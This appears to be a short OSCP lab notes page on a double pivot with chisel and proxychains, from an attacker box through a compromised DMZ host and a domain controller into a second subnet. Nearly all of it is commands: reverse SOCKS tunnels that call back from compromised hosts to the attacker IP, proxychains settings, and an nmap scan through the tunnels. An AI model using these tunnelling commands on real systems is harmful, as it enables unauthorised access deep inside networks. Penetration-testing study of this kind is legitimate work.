// notes/ Pivoting & Tunneling
🚀
Pivoting Double Pivot
{% hint style="info" %}
#post exploitation#adot8
source · oscp.adot8.com · post-exploitation/pivoting_double-pivot ↗Double Pivot
{% hint style="info" %} Shoutout Rapunzel3000 for this one {% endhint %}
Kali -> NIX01(DMZ) -> DC01 -> DC02
- NIX01 and DC01 - 172.16.1.0/24
- DC02 - 172.16.2.0/24
On our machine
code
01./chisel_linux server --socks5 -p 9001 --reverseEdit proxychains config and comment out socks 127.0.0.1 9050
code
01socks5 127.0.0.1 999902socks5 127.0.0.1 8888On NIX01
code
01./chisel client 10.10.14.10:9001 R:9999:socks02./chisel server -p 9002 --reverse --socks5On DC01
code
01chisel.exe client 172.16.1.100:9002 R:8888:socksScan
code
01proxychains nmap -p445 -Pn -v 172.16.2.5